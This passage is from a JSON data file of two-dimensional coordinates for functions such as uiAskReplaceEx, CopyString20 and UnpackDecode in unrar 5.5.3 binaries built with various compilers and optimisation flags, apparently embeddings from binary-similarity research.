"./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": -0.2821645140647888, "y": -6.4159135818481445, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": 0.2209273874759674, "y": -6.756739139556885, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": -0.021622106432914734, "y": -6.158341884613037, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -3.1033644676208496, "y": -12.630590438842773, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -2.2174999713897705, "y": -12.24618911743164, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -2.8525705337524414, "y": -11.997584342956543, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -2.2086644172668457, "y": -12.607175827026367, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -3.102829694747925, "y": -12.258635520935059, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -2.473134756088257, "y": -11.972505569458008, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -2.8346855640411377, "y": -12.890965461730957, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -2.465240240097046, "y": -12.882652282714844, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 3.324620246887207, "y": -13.741811752319336, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 3.1067373752593994, "y": -13.784875869750977, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 3.2809293270111084, "y": -14.074377059936523, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 3.4234120845794678, "y": -13.896504402160645, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 3.1091368198394775, "y": -14.00405502319336, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 2.3906469345092773, "y": -9.559502601623535, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 2.668724298477173, "y": -9.560503005981445, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 2.3644890785217285, "y": -9.364362716674805, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 2.63655424118042, "y": -9.31336784362793, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 2.63655424118042, "y": -9.31336784362793, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 4.30821418762207, "y": 0.019239163026213646, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 4.307340145111084, "y": 0.014951862394809723, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 4.307302474975586, "y": 0.014954759739339352, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -4.387577056884766, "y": -7.399399280548096, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -4.387454986572266, "y": -7.39932107925415, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 6.1873674392700195, "y": -3.771665573120117, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 6.187664985656738, "y": -3.7719788551330566, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -19.487695693969727, "y": -8.17029857635498, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -19.48810577392578, "y": -8.161568641662598, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -19.487470626831055, "y": -8.16228199005127, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -17.94562530517578, "y": -7.4914984703063965, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -17.945798873901367, "y": -7.4910125732421875, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -17.94566535949707, "y": -7.49140739440918, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -15.007071495056152, "y": 0.2580418586730957, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -15.007255554199219, "y": 0.2575934827327728, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": -15.008082389831543, "y": 0.257130891084671, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -14.400880813598633, "y": -1.1818909645080566, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -14.400752067565918, "y": -1.1820141077041626, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": -14.403894424438477, "y": -1.1854093074798584, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": -11.010749816894531, "y": -9.409183502197266, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": -19.085390090942383, "y": -0.5928016304969788, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": -19.66176414489746, "y": -3.316598653793335, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.6.4.0.nopic.nopie.ELF", "x": -19.661209106445312, "y": -3.316542387008667, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": -19.66118812561035, "y": -3.3165953159332275, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": -18.69221305847168, "y": -3.739617109298706, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": -11.09731388092041, "y": -1.3587758541107178, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": -11.097679138183594, "y": -1.3587901592254639, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": -12.034872055053711, "y": -4.893868446350098, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -9.140754699707031, "y": 0.5600311756134033, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -9.1409273147583, "y": 0.5600334405899048, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -9.140901565551758, "y": 0.5600075721740723, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -8.793159484863281, "y": 4.5528130531311035, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -8.792769432067871, "y": 4.552816390991211, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": -8.792886734008789, "y": 4.552807807922363, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -14.205925941467285, "y": -7.435794830322266, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -14.203041076660156, "y": -7.434178829193115, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": -14.206076622009277, "y": -7.4358015060424805, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": -12.627924919128418, "y": -4.649232387542725, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": -12.628076553344727, "y": -4.649215221405029, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": -11.585525512695312, "y": -7.645116806030273, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": -11.585326194763184, "y": -7.645247459411621, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -12.14104175567627, "y": 2.0305633544921875, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.8.0.1.nopic.nopie.ELF", "x": -12.14096736907959, "y": 2.0305612087249756, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -12.139492988586426, "y": 2.029780149459839, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -14.563822746276855, "y": -4.606389999389648, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": -14.564257621765137, "y": -4.606630325317383, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -11.04780101776123, "y": -11.016366004943848, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -11.047860145568848, "y": -11.01636791229248, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -11.047731399536133, "y": -11.016371726989746, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 11.131811141967773, "y": 3.653362989425659, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 11.130934715270996, "y": 3.6539134979248047, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 11.133112907409668, "y": 3.6552159786224365, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -17.559335708618164, "y": -11.456042289733887, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -17.559402465820312, "y": -11.455867767333984, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": -17.55963706970215, "y": -11.455848693847656, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -6.054471015930176, "y": -3.131758689880371, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -6.054457664489746, "y": -3.1310486793518066, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -6.054444313049316, "y": -3.131751537322998, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": -15.445286750793457, "y": 1.5528098344802856, "function_name": "_ZN6Unpack12CopyString20Ej"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": -10.248580932617188, "y": 11.683123588562012, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.ELF", "x": -17.93763542175293, "y": 7.067092418670654, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.nopic.nopie.ELF", "x": -17.936792373657227, "y": 7.067023754119873, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": -13.401328086853027, "y": 17.778627395629883, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": -10.898950576782227, "y": 11.919509887695312, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": -13.782021522521973, "y": 13.309974670410156, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": -13.785672187805176, "y": 13.30716609954834, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": -13.785881996154785, "y": 13.314659118652344, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": -13.784049987792969, "y": 13.308714866638184, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": -20.04659080505371, "y": 22.27652359008789, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": -20.04686164855957, "y": 22.277204513549805, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -13.274260520935059, "y": 23.525489807128906, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -13.274420738220215, "y": 23.525617599487305, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": -13.277276039123535, "y": 23.526180267333984, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.ELF", "x": -13.297676086425781, "y": 20.141130447387695, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.nopic.nopie.ELF", "x": -13.29757308959961, "y": 20.141138076782227, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -19.2399959564209, "y": 10.300280570983887, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -19.239578247070312, "y": 10.300365447998047, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -7.101449012756348, "y": 20.003087997436523, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -7.099506378173828, "y": 19.998926162719727, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": -7.0992231369018555, "y": 20.000179290771484, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -16.02804946899414, "y": 13.596465110778809, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": -16.027942657470703, "y": 13.595916748046875, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": -12.208080291748047, "y": 11.678277969360352, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": -12.210392951965332, "y": 11.676910400390625, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.6.4.0.nopic.nopie.ELF", "x": -17.52781867980957, "y": 11.847440719604492, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -15.076730728149414, "y": 9.659667015075684, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -15.077239990234375, "y": 9.65980339050293, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.nopie.ELF", "x": -15.615089416503906, "y": 11.584839820861816, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.ELF", "x": -15.809385299682617, "y": 11.548382759094238, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.8.0.1.nopic.nopie.ELF", "x": -15.31625747680664, "y": 10.627456665039062, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": -20.140947341918945, "y": 16.368501663208008, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": -20.141000747680664, "y": 16.366552352905273, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": -20.294889450073242, "y": 16.613557815551758, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": -20.293432235717773, "y": 16.611459732055664, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": -15.689550399780273, "y": 17.384052276611328, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -10.87755298614502, "y": 13.697253227233887, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -10.879874229431152, "y": 13.696409225463867, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": -10.879874229431152, "y": 13.696410179138184, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -23.205093383789062, "y": 13.308858871459961, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -23.008148193359375, "y": 13.059433937072754, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -23.10001564025879, "y": 13.158915519714355, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -16.259279251098633, "y": 16.12470817565918, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -16.261634826660156, "y": 16.125606536865234, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -16.26084327697754, "y": 16.1240291595459, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": -14.126913070678711, "y": 17.232593536376953, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": -14.126856803894043, "y": 17.2327823638916, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": -14.912752151489258, "y": 14.981440544128418, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": -14.912797927856445, "y": 14.981144905090332, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": -14.914413452148438, "y": 14.981230735778809, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": -14.91744327545166, "y": 14.983372688293457, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -18.716297149658203, "y": 13.438486099243164, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -18.574317932128906, "y": 13.137691497802734, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -18.233745574951172, "y": 13.059569358825684, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -17.926298141479492, "y": 13.246563911437988, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -18.61474609375, "y": 13.800040245056152, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat"}, {"file_name": 